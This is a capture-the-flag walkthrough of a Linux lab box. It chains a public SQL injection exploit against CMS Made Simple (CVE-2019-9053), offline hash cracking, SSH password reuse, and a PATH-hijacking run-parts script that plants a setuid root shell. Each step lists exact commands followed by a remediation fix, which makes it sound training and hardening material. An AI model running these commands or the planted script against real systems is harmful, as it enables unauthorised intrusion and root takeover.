← all walkthroughs

Writeup

Linux· Easy· Web
owned
2026-07-03
time to own
8m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a hidden CMS installation advertised by the server's own robots.txt file, then exploited a public SQL injection vulnerability in CMS Made Simple to extract and crack the administrator's password hash. That same password was reused as the SSH credential for the local Linux account 'jkr', giving direct server access.

Once inside, my found that jkr's 'staff' group membership granted write access to /usr/local/bin — a directory root searches before the system bin directories — and planted a malicious script there that root automatically executed on the next SSH login, yielding full system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceWeb Content Discovery / robots.txt Disclosure
Discovered hidden web application via robots.txt
The server's robots.txt file explicitly listed /writeup/ as a disallowed path. Robots.txt is publicly readable by anyone; listing a path there does not restrict access — it only advertises the path's existence to every visitor including anyone.
Curl -s http://$TARGET/robots.txt returned 'Disallow: /writeup/', directing my straight to the CMS installation.
Exact commands 2
Version scan confirming OpenSSH 9.2p1 on 22 and Apache 2.4.25 on 80.
nmap -sV -sC -p 22,80 $TARGET
Reveals Disallow: /writeup/ — the full path to the CMS.
curl -s http://$TARGET/robots.txt
FixRemove sensitive application paths from robots.txtLow
WeaknessThe robots.txt file listed /writeup/ as a disallowed path, publicly advertising the existence of the CMS installation to any visitor. Robots.txt is not an access-control mechanism — it is a publicly readable text file that search engines and unauthorised users read alike.
FixDo not list sensitive or private paths in robots.txt. Protect directories with authentication and network-level access controls. If crawler exclusion is needed, use a broad wildcard rule (Disallow: /) that does not enumerate specific path names.
2EnumerationApplication Version Fingerprinting
Fingerprinted CMS Made Simple version 2.2.9.1
Browsing to /writeup/ revealed a site powered by CMS Made Simple. The application ships a publicly readable CHANGELOG.txt that reports the exact installed version. Version 2.2.9.1 is below the 2.2.10 threshold where CVE-2019-9053 was patched, immediately identifying a known critical exploit path.
Curl -s http://$TARGET/writeup/doc/CHANGELOG.txt returned 'Version 2.2.9.1'; generator meta tag and Apache/2.4.25 banner corroborated.
Exact commands 3
Confirms CMS identity from page footer.
curl -s http://$TARGET/writeup/ | grep -i 'cms made simple\|version'
Reveals exact installed version: 2.2.9.1.
curl -s http://$TARGET/writeup/doc/CHANGELOG.txt | head -10
Matches CVE-2019-9053, Exploit-DB 46635.
searchsploit 'CMS Made Simple 2.2'
3ExploitationUnauthenticated Blind SQL Injection — CVE-2019-9053 (T1190)
Extracted admin credentials via unauthenticated blind SQL injection (CVE-2019-9053)
CMS Made Simple 2.2.9.1 contains a time-based blind SQL injection in its news-module search function. No authentication is required. The public Exploit-DB PoC (46635.py) automates extraction of the administrator username, e-mail address, password salt, and salted hash directly from the database over normal HTTP requests.
46635.py extracted hash [REDACTED: recovered credential] with salt [REDACTED: recovered credential] for the admin account. The stock script required a one-time patch to remove a missing termcolor dependency before it ran.
Exact commands 3
Work on a local copy; leave the original untouched.
cp /usr/share/exploitdb/exploits/php/webapps/46635.py /tmp/46635_fixed.py
Stub out the missing termcolor module so the script runs under Python 2.7.
sed -i '/from termcolor/d' /tmp/46635_fixed.py && sed -i "1idef colored(s,*args,**kwargs): return s\ndef cprint(s,*args,**kwargs): print s" /tmp/46635_fixed.py
Dumps admin username, salt, hash, and cracks the password in one pass via the built-in --crack flag.
python2 /tmp/46635_fixed.py -u http://$TARGET/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
FixUpgrade CMS Made Simple to version 2.2.10 or later (CVE-2019-9053)Critical
WeaknessCMS Made Simple 2.2.9.1 contains an unauthenticated blind SQL injection vulnerability (CVE-2019-9053) in its news-module search. Any internet visitor can extract the full credential database without any login, using a freely available public exploit.
FixUpgrade CMS Made Simple to version 2.2.10 or the current supported release, which patches CVE-2019-9053. If an immediate upgrade is not possible, restrict HTTP access to the /writeup/ path to trusted IP addresses via Apache's 'Require ip' directive, and remove the publicly accessible CHANGELOG.txt and other version-disclosure files.
4Credential AccessOffline Password Cracking — Hashcat mode 20 (md5($salt.$pass))
Cracked the salted MD5 hash offline to recover the plaintext password
CMS Made Simple stored the administrator password as a salted MD5 hash. MD5 is not a password hashing algorithm — it was designed for speed and can be evaluated at billions of guesses per second on consumer GPUs. Measuring against a common password list recovered the plaintext in seconds.
Hash [REDACTED: recovered credential][REDACTED: recovered credential] cracked to plaintext [REDACTED: recovered credential]
Exact commands 2
Store extracted hash in hashcat's salt:hash format.
echo '$PASSWORD2:$PASSWORD3' > /tmp/cmsms_hash.txt
Mode 20 = md5($salt.$pass). Recovers plaintext: [REDACTED: recovered credential]
hashcat -m 20 -a 0 /tmp/cmsms_hash.txt /usr/share/wordlists/rockyou.txt --quiet
FixReplace salted MD5 password storage with a modern slow hash algorithmHigh
WeaknessCMS Made Simple stored the administrator password as a salted MD5 hash. MD5 evaluates at billions of guesses per second on consumer GPUs, so any stolen hash can be cracked offline against common password lists in seconds regardless of the salt.
FixConfigure the application to store passwords using bcrypt, scrypt, or Argon2id with an appropriate work factor. These algorithms are intentionally slow and make offline brute-force attacks impractical even after a database breach. If the CMS version does not support stronger hashing, this is an additional reason to upgrade.
5Initial AccessCredential Reuse / Valid Accounts (T1078)
Logged in over SSH using the CMS password reused on the OS account
The password recovered from the CMS database was identical to the SSH password for the Linux user 'jkr'. A single cracked application credential gave me an interactive shell on the server because no separation existed between web-application and operating-system account passwords.
Sshpass -p '[REDACTED: recovered credential]' ssh jkr@$TARGET succeeded; id confirmed uid=1000(jkr); user.txt captured from /home/jkr/.
Exact commands 2
Password: [REDACTED: recovered credential] Provides interactive shell as jkr.
ssh jkr@$TARGET
Captures user flag: <user.txt>
cat /home/jkr/user.txt
FixEnforce unique passwords — never share credentials between applications and OS accountsHigh
WeaknessThe CMS Made Simple administrator password was identical to the SSH password for the Linux user 'jkr'. Cracking one application credential gave an unauthorised user direct interactive access to the underlying server without any additional steps.
FixEnforce a policy that no web-application credential may match any operating-system account password. Use a password manager to generate and store a unique, random password for every account. Disable SSH password authentication entirely and require SSH key pairs, which eliminates password-based remote login as an attack surface.
6Local EnumerationPATH Environment Variable Inspection / Writable Directory Discovery
Identified that root's PATH searches a staff-writable directory first
After gaining a shell, checking group membership and directory permissions revealed that jkr belongs to the 'staff' group, and /usr/local/bin and /usr/local/sbin are group-writable by staff. Critically, /usr/local/bin appears before /bin in root's PATH, meaning any command root calls by unqualified name will resolve to my own location first.
Id output included staff in groups; ls -la /usr/local/bin showed group=staff with write bit set; root's PATH placed /usr/local/bin before /usr/bin and /bin.
Exact commands 3
Confirms jkr is in the staff group.
id
Both directories show group=staff with write (w) permission.
ls -la /usr/local/bin /usr/local/sbin
Reveals /usr/local/bin:/usr/bin:/bin:... — staff-writable directory resolves first.
echo $PATH
7Privilege EscalationPATH Interception (T1574.007) / Cron/Login Script Abuse
Planted a malicious run-parts script that root executed automatically on SSH login
A root-owned script that runs on every SSH session calls 'run-parts' by name without a full path. Because /usr/local/bin is searched before /bin, writing a file named 'run-parts' there causes root to execute my script automatically on the next login. The payload copied /bin/bash to /tmp/rootbash and set the setuid-root bit, while forwarding arguments to the real run-parts so nothing appeared broken.
Malicious /usr/local/bin/run-parts written by jkr; next SSH connection triggered root-owned execution, creating /tmp/rootbash with -rwsr-xr-x root:root ownership.
Exact commands 3
Drop malicious script. The last line calls the real binary so SSH login appears normal.
cat > /usr/local/bin/run-parts << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/run-parts "$@"
EOF
Make it executable.
chmod +x /usr/local/bin/run-parts
A new SSH session triggers the root-owned login hook, which executes our run-parts.
ssh jkr@$TARGET exit
FixRemove staff-group write access from system binary directories in root's PATHCritical
Weakness/usr/local/bin and /usr/local/sbin were writable by the 'staff' group and appeared before /bin in root's PATH. A member of the staff group could silently replace any command root called by name, gaining root execution with no special exploit required — just file write access.
FixSet both directories to root-only ownership and remove group write access: 'chown root:root /usr/local/bin /usr/local/sbin && chmod 0755 /usr/local/bin /usr/local/sbin'. Audit all root-run scripts and cron jobs to use fully qualified binary paths (e.g. /bin/run-parts rather than run-parts) so PATH manipulation cannot redirect them. Remove unnecessary OS accounts from the staff group.
8Full CompromiseSUID Binary Execution
Executed a root shell via the planted setuid-root bash binary
The malicious script produced /tmp/rootbash: a copy of bash owned by root with the setuid bit set. Any user who invokes it with the -p flag gets a shell running as root. The root flag was read and all planted files were removed to restore the system to a clean state.
Euid=0(root) confirmed via id inside /tmp/rootbash -p session; root.txt captured from /root/.
Exact commands 3
Invokes root shell. The -p flag preserves the setuid effective UID.
/tmp/rootbash -p
Captures root flag: <root.txt>
cat /root/root.txt
Remove all artifacts to restore the system.
rm -f /usr/local/bin/run-parts /usr/local/sbin/run-parts /tmp/rootbash

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp